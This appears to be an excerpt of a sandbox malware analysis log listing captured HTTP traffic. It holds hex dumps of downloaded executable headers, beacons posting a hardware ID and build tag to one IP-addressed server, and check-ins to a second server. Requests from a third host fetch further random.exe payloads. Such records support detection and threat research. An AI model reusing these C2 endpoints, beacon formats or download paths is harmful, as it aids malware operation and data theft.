00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 07:08:37 GMTContent-Type: application/octet-streamContent-Length: 314368Last-Modified: Sun, 29 Sep 2024 08:19:54 GMTConnection: keep-aliveETag: "66f90daa-4cc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 f0 69 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 26 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 aa 02 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 25 00 e0 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 04 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8f cc 01 00 00 10 00 00 00 ce 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 8c cf 00 00 00 e0 01 00 00 d0 00 00 00 d2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 a4 03 23 00 00 b0 02 00 00 e4 01 00 00 a2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 9e 45 00 00 00 c0 25 00 00 46 00 00 00 86 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 07:08:39 GMTContent-Type: application/octet-streamContent-Length: 1854464Last-Modified: Thu, 24 Oct 2024 06:55:17 GMTConnection: keep-aliveETag: "6719ef55-1c4c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 30 6a 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 6a 00 00 04 00 00 e7 22 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 50 2a 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 79 76 71 7a 6b 75 6b 00 f0 19 00 00 30 50 00 00 ea 19 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 65 6a 72 67 6c 77 77 00 10 00 00 00 20 6a 00 00 04 00 00 00 26 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 6a 00 00 22 00 00 00 2a 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 07:08:43 GMTContent-Type: application/octet-streamContent-Length: 2822656Last-Modified: Thu, 24 Oct 2024 06:45:04 GMTConnection: keep-aliveETag: "6719ecf0-2b1200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 05 dd 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6d 6a 6a 75 79 77 7a 71 00 c0 2a 00 00 a0 00 00 00 b2 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 75 63 63 61 70 6a 63 00 20 00 00 00 60 2b 00 00 04 00 00 00 ec 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 80 2b 00 00 22 00 00 00 f0 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 07:09:18 GMTContent-Type: application/octet-streamContent-Length: 1911296Last-Modified: Thu, 24 Oct 2024 06:55:23 GMTConnection: keep-aliveETag: "6719ef5b-1d2a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 c0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 4b 00 00 04 00 00 a9 00 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ec ae 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9c ae 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 f0 2a 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 79 67 63 69 63 73 6d 00 10 1a 00 00 a0 31 00 00 10 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 79 78 6c 71 73 66 6d 00 10 00 00 00 b0 4b 00 00 04 00 00 00 04 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 4b 00 00 22 00 00 00 08 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 07:09:20 GMTContent-Type: application/octet-streamContent-Length: 1854464Last-Modified: Thu, 24 Oct 2024 06:55:17 GMTConnection: keep-aliveETag: "6719ef55-1c4c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 30 6a 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 6a 00 00 04 00 00 e7 22 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 50 2a 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 79 76 71 7a 6b 75 6b 00 f0 19 00 00 30 50 00 00 ea 19 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 65 6a 72 67 6c 77 77 00 10 00 00 00 20 6a 00 00 04 00 00 00 26 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 6a 00 00 22 00 00 00 2a 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 07:09:21 GMTContent-Type: application/octet-streamContent-Length: 2822656Last-Modified: Thu, 24 Oct 2024 06:45:04 GMTConnection: keep-aliveETag: "6719ecf0-2b1200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 05 dd 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6d 6a 6a 75 79 77 7a 71 00 c0 2a 00 00 a0 00 00 00 b2 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 75 63 63 61 70 6a 63 00 20 00 00 00 60 2b 00 00 04 00 00 00 ec 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 80 2b 00 00 22 00 00 00 f0 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AECAKJJECAEGCBGDHDHCHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 4a 4a 45 43 41 45 47 43 42 47 44 48 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 35 31 42 41 30 44 38 46 42 46 37 33 38 39 37 32 35 30 38 33 31 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 4a 4a 45 43 41 45 47 43 42 47 44 48 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 4a 4a 45 43 41 45 47 43 42 47 44 48 44 48 43 2d 2d 0d 0a Data Ascii: ------AECAKJJECAEGCBGDHDHCContent-Disposition: form-data; name="hwid"E51BA0D8FBF73897250831------AECAKJJECAEGCBGDHDHCContent-Disposition: form-data; name="build"doma------AECAKJJECAEGCBGDHDHC--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 31 33 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001138001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 31 33 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001139001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
